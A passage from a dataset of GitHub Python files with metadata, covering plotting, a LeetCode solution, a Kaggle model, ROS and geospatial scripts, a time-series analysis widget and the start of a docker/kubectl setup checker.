0].set_title(\"B1\")\n ax[0, 1].set_title(\"B2\")\n ax[1, 0].set_title(\"B3\")\n ax[1, 1].set_title(\"B4\")\n\n # plt.plot(bp_x, bp_test_losses, linestyle='--', color='dodgerblue', label='test-bp')\n # plt.plot(mf_x, mf_test_losses, linestyle='--', color='black', label='test-nmf')\n plt.xlabel('#Epoch')\n plt.ylabel('')\n # plt.legend()\n plt.grid(True)\n plt.show()\n\n # print('bp_train', bp_train_losses)\n # print('bp_test', bp_test_losses)\n # print('mf_train', mf_train_losses)\n\n\nif __name__ == '__main__':\n FLAGS = tf.flags.FLAGS\n tf.flags.DEFINE_integer('batch_size', 300, \"\"\"Size of batches\"\"\")\n tf.flags.DEFINE_string('path', '/tmp', '''dataset path of hitachi''')\n tf.flags.DEFINE_integer('num_mf_iters', 5, '''Number of matrix factorization iterations''')\n tf.flags.DEFINE_integer('num_bp_iters', 25, '''Number of back propagation(adam) iterations''')\n tf.flags.DEFINE_float('lr', 0.001, '''learning rate for back propagation''')\n tf.flags.DEFINE_boolean('use_relu', False, '''Use ReLU''')\n tf.flags.DEFINE_boolean('use_bias', False, '''Use bias''')\n tf.app.run()\n","repo_name":"ashigirl96/sakurai-nmf","sub_path":"sakurai_nmf/examples/hitati_plot.py","file_name":"hitati_plot.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42096040111","text":"class Solution(object):\n def isAnagram(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n if len(s) != len(t):\n return False\n\n # know it's same length, iterate through both\n smemory = {}\n tmemory = {}\n\n for i in range(len(s)): # or len(t)\n smemory[s[i]] = 1 + smemory.get(s[i], 0)\n tmemory[t[i]] = 1 + tmemory.get(t[i], 0)\n\n return smemory == tmemory","repo_name":"sbhatoolaul/LeetCode-Grind","sub_path":"Solutions/Array & Hashing/isAnagram.py","file_name":"isAnagram.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13495908930","text":"from droidlet.dialog.dialogue_task import BotCapabilities\n\n\nclass MCBotCapabilities(BotCapabilities):\n \"\"\"This class represents a sub-type of the Say DialogueObject above to answer\n something about the current capabilities of the bot, to the user.\n\n \"\"\"\n\n def __init__(self, agent):\n super().__init__(agent)\n mc_response_options = [\n 'Try looking at a structure and tell me \"destroy that\"',\n 'Try looking somewhere and tell me \"build a wall there\"',\n \"Try building something and giving it a name\",\n \"Try naming something and telling me to build it\",\n ]\n self.response_options.extend(mc_response_options)\n","repo_name":"facebookresearch/fairo","sub_path":"droidlet/dialog/craftassist/mc_dialogue_task.py","file_name":"mc_dialogue_task.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":826,"dataset":"github-code","pt":"54"} +{"seq_id":"2363413875","text":"# ref: https://github.com/pjankiewicz/mercari-solution/blob/master/mercari_golf.py\n\nimport gc\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nfrom contextlib import contextmanager\nfrom operator import itemgetter\nimport time\nfrom typing import List, Dict\n\nimport keras as ks\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer as Tfidf\nfrom sklearn.pipeline import make_pipeline, make_union, Pipeline\nfrom sklearn.preprocessing import FunctionTransformer, StandardScaler\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import KFold\nfrom scipy.sparse import vstack\nfrom nltk.corpus import stopwords\nsw = stopwords.words('russian')\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print(f'[{name}] done in {time.time() - t0:.0f} s')\n\ndef preprocess(df: pd.DataFrame) -> pd.DataFrame:\n ex_col = ['item_id', 'user_id', 'deal_probability', 'title', 'param_1', 'param_2', 'param_3', 'activation_date']\n df['description_len'] = df['description'].map(lambda x: len(str(x))).astype(np.float16) #Lenth\n df['description_wc'] = df['description'].map(lambda x: len(str(x).split(' '))).astype(np.float16) #Word Count\n df['description'] = (df['title'] + ' ' + df['description'].fillna('') + ' ' + df['city'] + ' ' + df['param_1'].fillna(''))\n df['description'] = df['description'].str.lower().replace(r\"[^[:alpha:]]\", \" \")\n df['description'] = df['description'].str.replace(r\"\\\\s+\", \" \")\n df['categ'] = (df['category_name'] + ' ' + df['parent_category_name'] + ' ' + df['param_2'].fillna('') + ' ' + df['param_3'].fillna(''))\n df['title_len'] = df['title'].map(lambda x: len(str(x))).astype(np.float16) #Lenth\n df['title_wc'] = df['title'].map(lambda x: len(str(x).split(' '))).astype(np.float16) #Word Count\n df['image'] = df['image'].map(lambda x: 1 if len(str(x))>0 else 0)\n df['price'] = np.log1p(df['price'].fillna(0))\n df['wday'] = pd.to_datetime(df['activation_date']).dt.dayofweek\n df['day'] = pd.to_datetime(df['activation_date']).dt.day\n df['week'] = pd.to_datetime(df['activation_date']).dt.week\n col = [c for c in df.columns if c not in ex_col]\n return df[col]\n\ndef on_field(f: str, *vec) -> Pipeline:\n return make_pipeline(FunctionTransformer(itemgetter(f), validate=False), *vec)\n\ndef to_records(df: pd.DataFrame) -> List[Dict]:\n return df.to_dict(orient='records')\n\ndef fit_predict(xs, y_train) -> np.ndarray:\n X_train, X_test = xs\n config = tf.ConfigProto(\n intra_op_parallelism_threads=1, use_per_session_threads=1, inter_op_parallelism_threads=1)\n with tf.Session(graph=tf.Graph(), config=config) as sess, timer('fit_predict'):\n ks.backend.set_session(sess)\n model_in = ks.Input(shape=(X_train.shape[1],), dtype='float32', sparse=True)\n out = ks.layers.Dense(192, activation='relu')(model_in)\n out = ks.layers.Dense(64, activation='relu')(out)\n out = ks.layers.Dense(1)(out)\n model = ks.Model(model_in, out)\n model.compile(loss='mean_squared_error', optimizer=ks.optimizers.Adam(lr=2e-3))\n for i in range(3):\n with timer(f'epoch {i + 1}'):\n model.fit(x=X_train, y=y_train, batch_size=2**(11 + i), epochs=1, verbose=0)\n return model.predict(X_test, batch_size=2**(11 + i))[:, 0]\n\ndef main():\n vectorizer = make_union(\n on_field('description', Tfidf(max_features=3500, stop_words=sw, token_pattern='\\w+', norm='l2',\n min_df=3, max_df=0.3, sublinear_tf=True, ngram_range=(1, 3))),\n on_field('categ', Tfidf(max_features=2000, stop_words=sw, token_pattern='\\w+', norm='l2',\n min_df=2, max_df=0.3, sublinear_tf=True, ngram_range=(1, 3))),\n on_field(['region', 'user_type'],\n FunctionTransformer(to_records, validate=False), DictVectorizer()),\n n_jobs=1)\n with timer('reading data '):\n dtypes = {\n 'region': 'category',\n 'item_seq_number': 'uint32',\n 'user_type': 'category',\n 'image_top_1': 'float32',\n 'price':'float32',\n 'deal_probability': 'float32'\n }\n train = pd.read_csv('../input/train.csv', dtype=dtypes)\n test = pd.read_csv('../input/test.csv', dtype=dtypes)\n with timer('add new features'):\n cat_cols = ['region', 'city', 'parent_category_name', 'category_name', 'param_1', 'param_2', 'param_3', 'user_type']\n num_cols = ['price', 'image_top_1', 'deal_probability']\n for c in cat_cols:\n for c2 in num_cols:\n enc = train.groupby(c)[c2].agg(['mean']).astype(np.float32).reset_index()\n enc.columns = ['_'.join([str(c), str(c2), str(c3)]) if c3 != c else c for c3 in enc.columns]\n train = pd.merge(train, enc, how='left', on=c)\n test = pd.merge(test, enc, how='left', on=c)\n del(enc)\n with timer('process train'):\n cv = KFold(n_splits=20, shuffle=True, random_state=37)\n train_ids, valid_ids = next(cv.split(train))\n train, valid = train.iloc[train_ids], train.iloc[valid_ids]\n y_train = train['deal_probability'].values\n X_train = vectorizer.fit_transform(preprocess(train)).astype(np.float32)\n print(f'X_train: {X_train.shape} of {X_train.dtype}')\n del train\n with timer('process valid'):\n X_valid = vectorizer.transform(preprocess(valid)).astype(np.float32)\n gc.collect()\n print('train shape',X_train.shape)\n print('valid shape',X_valid.shape)\n with timer('process test'):\n X_test = vectorizer.transform(preprocess(test)).astype(np.float32)\n del test\n gc.collect()\n print('test shape',X_test.shape)\n \n valid_length = X_valid.shape[0]\n X_valid = vstack([X_valid, X_test])\n del(X_test)\n gc.collect()\n xs = [x.astype(np.bool).astype(np.float32) for x in [X_train, X_valid]]\n del(X_train, X_valid)\n gc.collect() \n y_pred = fit_predict(xs, y_train=y_train)\n test_pred = y_pred[valid_length:]\n y_pred = y_pred[:valid_length]\n print('Valid RMSLE: {:.4f}'.format(np.sqrt(mean_squared_error(valid['deal_probability'], y_pred))))\n submission = pd.read_csv(f'../input/test.csv', usecols=[\"item_id\"])\n submission[\"deal_probability\"] = test_pred.clip(0,1)\n submission.to_csv(\"tensor_starter2.csv\", index=False, float_format=\"%.5g\")\n\nif __name__ == '__main__':\n main()","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/avito-demand-prediction/Paulo Pinto/tfidf-tensor-starter-lb-0-233.py","file_name":"tfidf-tensor-starter-lb-0-233.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"4177323916","text":"import fresh_tomatoes\r\nimport media\r\n\r\n# Information required for media.py\r\nthe_conjuring = media.Movie(\"The Conjuring\",\r\n \"Paranormal investigators help a family.\",\r\n \"https://goo.gl/z83Fsc\",\r\n \"https://www.youtube.com/watch?v=k10ETZ41q5o\",\r\n \"2013\")\r\n\r\nzodiac = media.Movie(\"Zodiac\",\r\n \"A San Francisco cartoonist obsessed with down Killer.\",\r\n \"https://goo.gl/1sIIVO\",\r\n \"https://www.youtube.com/watch?v=eNnzriT0ymU\",\r\n \"2007\")\r\n\r\nhateful_eight = media.Movie(\"Hateful Eight\",\r\n \"Bounty hunter and prisoner find shelter.\",\r\n \"https://goo.gl/dN73US\",\r\n \"https://www.youtube.com/watch?v=6_UI1GzaWv0\",\r\n \"2015\")\r\n\r\nfight_club = media.Movie(\"Fight Club\",\r\n \"An office worker form an underground fight club.\",\r\n \"https://goo.gl/ikljAN\",\r\n \"https://www.youtube.com/watch?v=BdJKm16Co6M\",\r\n \"1999\")\r\n\r\nthe_green_mile = media.Movie(\"The Green Mile\",\r\n \"Man accused of rape has a mysterious gift.\",\r\n \"https://goo.gl/5OC1FM\",\r\n \"https://www.youtube.com/watch?v=ctRK-4Vt7dA\",\r\n \"1999\")\r\n\r\ndon_jon = media.Movie(\"Don Jon\",\r\n \"A New Jersey guy is obsessed with porn.\",\r\n \"https://goo.gl/n9CQ7V\",\r\n \"https://www.youtube.com/watch?v=6615kYTpOSU\",\r\n \"2013\")\r\n\r\nmovies = (the_conjuring, zodiac, hateful_eight,\r\n fight_club, the_green_mile, don_jon)\r\n\r\nfresh_tomatoes.open_movies_page(movies)\r\n","repo_name":"anthonygaston/Movies-Trailer-Website","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1143412728","text":"\"\"\"\nTitle : Own interpretation of the naive string matching algorithm\nAuthor : Isaac Fabián Palma Medina @ isaac.palma.medina@est.una.ac.cr\nType : Own interpretation\n\nSource authors:\nAgrawal, M. (2020a). Search Algorithm [Software]. Retrieved from: https://www.youtube.com/watch?v=nK7SLhXcqRo\ngarg10may. (2018). Find Algorithm [Software]. Retrieved from: https://stackoverflow.com/questions/41199057/naive-string-search-algorithm-python\n\"\"\"\n\ndef naive(t:str, p:str):\n m:int = len(p)\n n:int = len(t)\n a:list = []\n for i in range(n - m + 1):\n flag:bool = True\n for j in range(m):\n if t[i + j] != p[j]:\n flag = False\n break\n if j == m - 1 and flag:\n a.append((i, i + m - 1))\n return a \n\nprint(naive(\"AGCATGCTGCAGTCATGCTTAGGCTA\", \"GCT\"))\n\n\"\"\"\nOutput\n[(5, 7), (16, 18), (22, 24)]\n\"\"\"\n","repo_name":"Isaac-PM/matching-en-hileras","sub_path":"Naive/naive.py","file_name":"naive.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21337783488","text":"#!/usr/bin/env python\nimport rospy\nfrom \tsensor_msgs.msg import PointCloud2 as pc2\nfrom \tsensor_msgs.msg import LaserScan\nfrom\tlaser_geometry \timport LaserProjection\nimport \tsys\n\nargs=rospy.myargv(argv=sys.argv)\nrobotname= args[1]\nclass Laser2pc(object):\n\t\n\tdef __init__(self,robotname):\n\t\tself.robotname= robotname\n\t\tself.laserProj=LaserProjection()\n\t\tself.pcPub= rospy.Publisher(\"/{}/LaserPointCloud\".format(self.robotname),pc2, queue_size=1)\n\t\tself.lsersub=rospy.Subscriber(\"/{}/laser_scan\".format(self.robotname),LaserScan,self.laserCallback)\n\n\n\tdef laserCallback(self,data):\n\t\tcloud_out=self.laserProj.projectLaser(data)\n\t\tself.pcPub.publish(cloud_out)\n\n\nif __name__ == '__main__':\n\trospy.init_node(\"laser2pointcloud\")\n\tl2pc=Laser2pc(robotname)\n\trospy.spin()","repo_name":"NickTziaros/PSO-Algorithm-in-a-Robotic-Swarm","sub_path":"src/laser2pc.py","file_name":"laser2pc.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"28478592990","text":"import pandas as pd\nimport geopandas as gpd\nfrom shapely.ops import unary_union\nfrom data_storage import zip_to_neighborhood, neighborhood_to_zip\n\n\"\"\"\nCreate geojson file for neighborhoods\n\"\"\"\n\n# Find list of neighborhoods\nneighborhoods = list(set(zip_to_neighborhood.values()))\n\n# Read in zipcode objects\nmap_df = gpd.read_file('shapefiles/all_bounds.geojson')\nmap_df = map_df[map_df[\"id\"] == \"zipcode\"]\n\n# Find all zipcodes in map\nzips_in_map = map_df[\"nameCol\"].unique().tolist()\nstr_dict_zips = [str(z) for z in list(zip_to_neighborhood.keys())]\n\n# Create list of neighborhood polygons\nneighborhood_lst = []\nfor n in neighborhoods:\n # Create list of zipcodes to join to form neighborhood\n zip_polys = []\n \n for zip in neighborhood_to_zip[n]:\n # Convert unusual zipcode to necessary format\n if len(str(zip)) < 3:\n zip = \"00083\"\n # Add zipcode to list\n zip_polys.append(map_df[map_df[\"nameCol\"] == str(zip)].iloc[0][\"geometry\"])\n\n # Merge zipcodes to neighborhood shape\n merged_polys = unary_union(zip_polys)\n \n # Add new neighborhood polygon to list\n neighborhood_lst.append([n, merged_polys])\n\n# Create GeoDataFrame with neighborhood polygons\nneighborhood_df = pd.DataFrame(neighborhood_lst, columns=[\"nameCol\", \"geometry\"])\nneighborhood_df = gpd.GeoDataFrame(neighborhood_df)\n\n# Save neighborhood polygon file\nneighborhood_df.to_file('shapefiles/neighborhoods.geojson', driver=\"GeoJSON\")","repo_name":"rmatouschekh/Good-Call_Arrest-Data-Processing","sub_path":"create_neighborhood_geojson.py","file_name":"create_neighborhood_geojson.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34130409417","text":"import matplotlib.pyplot as plt\r\n\r\n#Dados\r\nx = [1, 3, 5 ,7 ,9]\r\ny = [2, 3, 7 ,1 ,0]\r\n# z = [200, 25, 400, 3300, 1000]\r\n\r\ntitle = \"Scatterplot - gráfico de dispersão\"\r\nxAxis = \"X Axis\"\r\nyAxis = \"Y Axis\"\r\n\r\n#Legendas\r\nplt.title(title)\r\nplt.xlabel(xAxis)\r\nplt.ylabel(yAxis)\r\n\r\nplt.scatter(x, y, label = \"Pontos\", color = \"g\", s = 100) #s = z\r\nplt.plot(x, y, linestyle = \"-.\", color = \"#990000\")\r\nplt.legend()\r\n\r\nplt.savefig(\"output.pdf\", dpi = 1200) # Precisa ser executada antes de show(), pois este esvazeia a memória de execução \r\nplt.show()","repo_name":"CaduSantana/Data-Visualization-study","sub_path":"Estudo matplotlib/scatterplot.py","file_name":"scatterplot.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23622249842","text":"\nimport os\nimport sys\n\n# TATSSI modules\nfrom pathlib import Path\ncurrent_dir = os.path.dirname(__file__)\nsrc_dir = Path(current_dir).parents[2]\nsys.path.append(str(src_dir.absolute()))\n\nfrom TATSSI.input_output.translate import Translate\nfrom .utils import *\nfrom TATSSI.time_series.analysis import Analysis\nfrom TATSSI.time_series.mk_test import mk_test\n\nfrom statsmodels.tsa.seasonal import seasonal_decompose\n\n# Widgets\nimport ipywidgets as widgets\nfrom ipywidgets import Layout\nfrom ipywidgets import Select, SelectMultiple, IntProgress\nfrom ipywidgets import Dropdown, Button, VBox, HBox, BoundedFloatText\nfrom ipywidgets import interact, interactive, fixed, interact_manual\n\nfrom beakerx import TableDisplay\n\nfrom IPython.display import clear_output\nfrom IPython.display import display\n\nimport json\nfrom osgeo import gdal, ogr\nfrom osgeo import gdal_array\nfrom osgeo import osr\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nfrom rasterio import logging as rio_logging\nfrom datetime import datetime\n\nfrom dask.distributed import Client\nfrom dask.diagnostics import ProgressBar\n\nimport matplotlib\nimport matplotlib.dates as mdates\n#matplotlib.use('nbAgg')\nimport seaborn as sbn\n\nimport matplotlib.pyplot as plt\n\n# Experimental\nfrom rpy2.robjects.packages import importr\nfrom rpy2.robjects import FloatVector\nfrom rpy2.robjects import numpy2ri\n\nclass TimeSeriesAnalysis():\n \"\"\"\n Class to plot a single time step and per-pixel time series\n \"\"\"\n debug_view = widgets.Output(layout={'border': '1px solid black'})\n\n def __init__(self, fname, cmap='YlGn', isNotebook=True):\n \"\"\"\n :param ts: TATSSI file time series\n \"\"\"\n # Clear cell\n clear_output()\n\n # Time series object\n self.ts = Analysis(fname=fname)\n\n # Data variables\n # set in __fill_data_variables\n self.data_vars = None\n\n self.isNotebook = isNotebook\n if self.isNotebook is True:\n # Display controls\n self.__display_controls()\n\n # Default colormap\n self.cmap = cmap\n # Create plot objects\n self.__create_plot_objects()\n # Create plot\n self.__plot()\n\n # Disable RasterIO logging, just show ERRORS\n log = rio_logging.getLogger()\n log.setLevel(rio_logging.ERROR)\n\n self.cpt = importr('changepoint')\n\n def __create_plot_objects(self):\n \"\"\"\n Create plot objects\n \"\"\"\n years_fmt = mdates.DateFormatter('%Y')\n\n self.fig = plt.figure(figsize=(11.0, 6.0))\n\n # subplot2grid((rows,cols), (row,col)\n # Left plot\n self.left_p = plt.subplot2grid((4, 4), (0, 0), rowspan=2)\n self.right_p = plt.subplot2grid((4, 4), (0, 1), rowspan=2,\n sharex=self.left_p, sharey=self.left_p)\n self.climatology = plt.subplot2grid((4, 4), (2, 0),\n rowspan=2, colspan=2)\n\n # Time series plot\n self.observed = plt.subplot2grid((4, 4), (0, 2), colspan=2)\n self.observed.xaxis.set_major_formatter(years_fmt)\n\n self.trend = plt.subplot2grid((4, 4), (1, 2), colspan=2,\n sharex=self.observed)\n self.seasonal = plt.subplot2grid((4, 4), (2, 2), colspan=2,\n sharex=self.observed)\n self.resid = plt.subplot2grid((4, 4), (3, 2), colspan=2,\n sharex=self.observed)\n\n #self.fig.subplots_adjust(hspace=0)\n\n def __display_controls(self):\n \"\"\"\n Display widgets in an horizontal box\n \"\"\"\n self.__fill_data_variables()\n self.__fill_year()\n self.__fill_model()\n\n left_box = VBox([self.data_vars, self.years])\n right_box = VBox([self.model])\n #_HBox = HBox([left_box, center_box, right_box],\n # layout={'height': '200px',\n # 'width' : '99%'}\n #)\n _HBox = HBox([left_box, right_box],\n layout={'width' : '99%'})\n display(_HBox)\n\n def __fill_year(self):\n \"\"\"\n Fill years list based on years in the dataset\n \"\"\"\n # Get unique years from data\n times = getattr(self.ts.data, self.data_vars.value).time\n times = np.unique(times.dt.year.data).tolist()\n\n self.years = widgets.Dropdown(\n options=times,\n value=times[1],\n description='Years in time series:',\n disabled=False,\n style = {'description_width': 'initial'},\n layout={'width': '300px'}\n )\n\n self.years.observe(self.on_years_change)\n\n time_slice = slice(f\"{self.years.value}-01-01\",\n f\"{self.years.value}-12-31\",)\n self.single_year_ds = getattr(self.ts.data,\n self.data_vars.value).sel(time=time_slice)\n\n def __fill_model(self):\n \"\"\"\n Fill time series decompostion model\n \"\"\"\n _models = ['additive', 'multiplicative']\n self.model = widgets.Dropdown(\n options=_models,\n value=_models[0],\n description='Decompostion model:',\n disabled=False,\n style = {'description_width': 'initial'},\n layout={'width': '300px'}\n )\n\n def __fill_data_variables(self):\n \"\"\"\n Fill the data variables dropdown list\n \"\"\"\n data_vars = []\n for data_var in self.ts.data.data_vars:\n data_vars.append(data_var)\n\n self.data_vars = Dropdown(\n options=data_vars,\n value=data_vars[0],\n description='Data variables:',\n disabled=False,\n style = {'description_width': 'initial'},\n layout={'width': '400px'},\n )\n\n def on_years_change(self, change):\n \"\"\"\n Handles a change in the years to display\n \"\"\"\n if change['type'] == 'change' and change['name'] == 'value':\n time_slice = slice(f\"{self.years.value}-01-01\",\n f\"{self.years.value}-12-31\",)\n self.single_year_ds = getattr(self.ts.data,\n self.data_vars.value).sel(time=time_slice)\n\n # Update images with current year\n self.__update_imshow()\n\n # Redraw plot\n plt.draw()\n\n def __update_imshow(self):\n \"\"\"\n Update images shown as imshow plots\n \"\"\"\n # Plot layers at 1/3 and 2/3 of time series\n layers = self.single_year_ds.shape[0]\n first_layer = int(layers * 0.3)\n second_layer = int(layers * 0.6)\n\n self.left_imshow = self.single_year_ds[first_layer].plot.imshow(\n cmap=self.cmap, ax=self.left_p, add_colorbar=False)\n\n self.right_imshow = self.single_year_ds[second_layer].plot.imshow(\n cmap=self.cmap, ax=self.right_p, add_colorbar=False)\n\n self.left_p.set_aspect('equal')\n self.right_p.set_aspect('equal')\n\n def __plot(self):\n \"\"\"\n Plot a variable and time series\n :param left_ds: xarray to plot on the left panel\n :param right_ds: xarray to plot on the right panel\n \"\"\"\n\n # Create plot\n self.left_ds = getattr(self.ts.data, self.data_vars.value)\n self.right_ds = getattr(self.ts.data, self.data_vars.value)\n\n # Show images\n self.__update_imshow()\n\n # Turn off axis\n self.left_p.axis('off')\n self.right_p.axis('off')\n self.fig.canvas.draw_idle()\n\n # Connect the canvas with the event\n cid = self.fig.canvas.mpl_connect('button_press_event',\n self.on_click)\n\n # Plot the centroid\n _layers, _rows, _cols = self.left_ds.shape\n\n # Seasonal decompose\n left_plot_sd = self.left_ds[:, int(_cols / 2), int(_rows / 2)]\n ts_df = left_plot_sd.to_dataframe()\n self.seasonal_decompose = seasonal_decompose(\n ts_df[self.data_vars.value],\n model=self.model.value,\n freq=self.single_year_ds.shape[0],\n extrapolate_trend='freq')\n\n # Plot seasonal decompose\n self.seasonal_decompose.observed.plot(ax=self.observed)\n self.seasonal_decompose.trend.plot(ax=self.trend)\n self.seasonal_decompose.seasonal.plot(ax=self.seasonal)\n self.seasonal_decompose.resid.plot(ax=self.resid)\n\n # Climatology\n sbn.boxplot(ts_df.index.dayofyear,\n ts_df[self.data_vars.value],\n ax=self.climatology)\n self.climatology.tick_params(axis='x', rotation=70)\n\n #plot_sd = self.left_ds[:, int(_cols / 2), int(_rows / 2)]\n #plot_sd.plot(ax = self.ts_p, color='black',\n # linestyle = '--', linewidth=1, label='Original data')\n\n plt.margins(tight=True)\n plt.tight_layout()\n\n # Legend\n #self.ts_p.legend(loc='best', fontsize='small',\n # fancybox=True, framealpha=0.5)\n\n plt.show()\n\n @debug_view.capture(clear_output=True)\n def on_click(self, event):\n \"\"\"\n Event handler\n \"\"\"\n # Event does not apply for time series plot\n # Check if the click was in a\n if event.inaxes not in [self.left_p, self.right_p]:\n return\n\n # Clear subplots\n self.observed.clear()\n self.trend.clear()\n self.seasonal.clear()\n self.resid.clear()\n self.climatology.clear()\n\n # Delete last reference point\n if len(self.left_p.lines) > 0:\n del self.left_p.lines[0]\n del self.right_p.lines[0]\n\n # Draw a point as a reference\n self.left_p.plot(event.xdata, event.ydata,\n marker='o', color='red', markersize=7, alpha=0.7)\n self.right_p.plot(event.xdata, event.ydata,\n marker='o', color='red', markersize=7, alpha=0.7)\n\n # Non-masked data\n left_plot_sd = self.left_ds.sel(longitude=event.xdata,\n latitude=event.ydata,\n method='nearest')\n # Sinlge year dataset\n single_year_ds = self.single_year_ds.sel(longitude=event.xdata,\n latitude=event.ydata,\n method='nearest')\n\n if left_plot_sd.chunks is not None:\n left_plot_sd = left_plot_sd.compute()\n single_year_ds = single_year_ds.compute()\n\n\n # Seasonal decompose\n ts_df = left_plot_sd.to_dataframe()\n self.seasonal_decompose = seasonal_decompose(\n ts_df[self.data_vars.value],\n model=self.model.value,\n freq=self.single_year_ds.shape[0],\n extrapolate_trend='freq')\n\n # Plot seasonal decompose\n self.observed.plot(self.seasonal_decompose.observed.index,\n self.seasonal_decompose.observed.values,\n label='Observed')\n\n # MK test\n _mk_test = mk_test(self.seasonal_decompose.trend)\n self.trend.plot(self.seasonal_decompose.trend.index,\n self.seasonal_decompose.trend.values,\n label=f'Trend {_mk_test}')\n\n # Set the same y limits from observed data\n self.trend.set_ylim(self.observed.get_ylim())\n\n self.seasonal.plot(self.seasonal_decompose.seasonal.index,\n self.seasonal_decompose.seasonal.values,\n label='Seasonality')\n self.resid.plot(self.seasonal_decompose.resid.index,\n self.seasonal_decompose.resid.values,\n label='Residuals')\n\n # Climatology\n sbn.boxplot(ts_df.index.dayofyear,\n ts_df[self.data_vars.value], ax=self.climatology)\n # Plot year to analyse\n single_year_df = single_year_ds.to_dataframe()\n sbn.stripplot(single_year_df.index.dayofyear,\n single_year_df[self.data_vars.value],\n color='red', marker='o', size=7, alpha=0.7,\n ax=self.climatology)\n\n self.climatology.tick_params(axis='x', rotation=70)\n\n # Change point\n r_vector = FloatVector(self.seasonal_decompose.trend.values)\n #changepoint_r = self.cpt.cpt_mean(r_vector)\n #changepoints_r = self.cpt.cpt_var(r_vector, method='PELT',\n # penalty='Manual', pen_value='2*log(n)')\n changepoints_r = self.cpt.cpt_meanvar(r_vector,\n test_stat='Normal', method='BinSeg', penalty=\"SIC\")\n changepoints = numpy2ri.rpy2py(self.cpt.cpts(changepoints_r))\n\n if changepoints.shape[0] > 0:\n # Plot vertical line where the changepoint was found\n for i, i_cpt in enumerate(changepoints):\n i_cpt = int(i_cpt) + 1\n cpt_index = self.seasonal_decompose.trend.index[i_cpt]\n if i == 0 :\n self.trend.axvline(cpt_index, color='black',\n lw='1.0', label='Change point')\n else:\n self.trend.axvline(cpt_index, color='black', lw='1.0')\n\n # Legend\n self.observed.legend(loc='best', fontsize='small',\n fancybox=True, framealpha=0.5)\n self.observed.set_title('Time series decomposition')\n self.trend.legend(loc='best', fontsize='small',\n fancybox=True, framealpha=0.5)\n self.seasonal.legend(loc='best', fontsize='small',\n fancybox=True, framealpha=0.5)\n self.resid.legend(loc='best', fontsize='small',\n fancybox=True, framealpha=0.5)\n #self.climatology.legend([self.years.value], loc='best',\n self.climatology.legend(loc='best',\n fontsize='small', fancybox=True, framealpha=0.5)\n self.climatology.set_title('Climatology')\n\n # Grid\n self.observed.grid(axis='both', alpha=.3)\n self.trend.grid(axis='both', alpha=.3)\n self.seasonal.grid(axis='both', alpha=.3)\n self.resid.grid(axis='both', alpha=.3)\n self.climatology.grid(axis='both', alpha=.3)\n\n # Redraw plot\n plt.draw()\n\n def get_climatology(self, tile_size=256, n_workers=1,\n threads_per_worker=8, memory_limit='14GB'):\n \"\"\"\n Derives a climatology dataset\n \"\"\"\n self.ts.climatology()\n\n with ProgressBar():\n self.ts.climatology_mean = self.ts.climatology_mean.compute()\n self.ts.climatology_std = self.ts.climatology_std.compute()\n\n @staticmethod\n def __enhance(data):\n\n # Histogram\n _histogram = np.histogram(data)[1]\n\n # Change ylimits\n max_val = _histogram[-3]\n min_val = _histogram[2]\n\n return min_val, max_val\n\n","repo_name":"GerardoLopez/TATSSI","sub_path":"TATSSI/notebooks/helpers/time_series_analysis.py","file_name":"time_series_analysis.py","file_ext":"py","file_size_in_byte":14773,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"72582393762","text":"import json\nimport os\nfrom distutils.version import LooseVersion\n\nimport delegator\n\nfrom go2pod.action import Action\nfrom go2pod.const import PODYAML, CONFIG_YAML, VERSIONFILE\nfrom go2pod.config import Config, ConfigLoadError\nfrom go2pod.docker import DockerClient\nfrom go2pod.kube import KubeClient\n\n\ndef ensure_prerequisites():\n # check if docker/kubectl exists in path\n with Action('Checking docker executable').start() as action:\n action.ensure_true(delegator.run('which docker').ok,\n \"Can't find docker executable\")\n with Action('Checking kubelet executable').start() as action:\n action.ensure_true(delegator.run('which kubectl').ok,\n \"Can't find kubelet executable\")\n\n\ndef ensure_docker():\n \"\"\"\n try to connect to docker daemon and init,\n \"\"\"\n client = DockerClient()\n\n cmdstr = \"docker version --format '{{json .}}'\"\n js = {}\n with Action('Checking docker daemon').start() as action:\n cmd = delegator.run(cmdstr)\n action.ensure_true(cmd.ok,\n \"Can't connect to docker daemon\",\n warn_only=True)\n js = json.loads(cmd.out)\n\n if not cmd.ok:\n with Action('Checking docker daemon with sudo').start() as action:\n cmdstr_sudo = 'sudo ' + cmdstr\n cmd_sudo = delegator.run(cmdstr_sudo)\n action.ensure_true(\n cmd_sudo.ok,\n \"Can't connect to docker daemon even with sudo\",\n )\n client.need_sudo = True\n js = json.loads(cmd_sudo.out)\n client_version = js['Client']['Version']\n server_version = js['Server']['Version']\n if 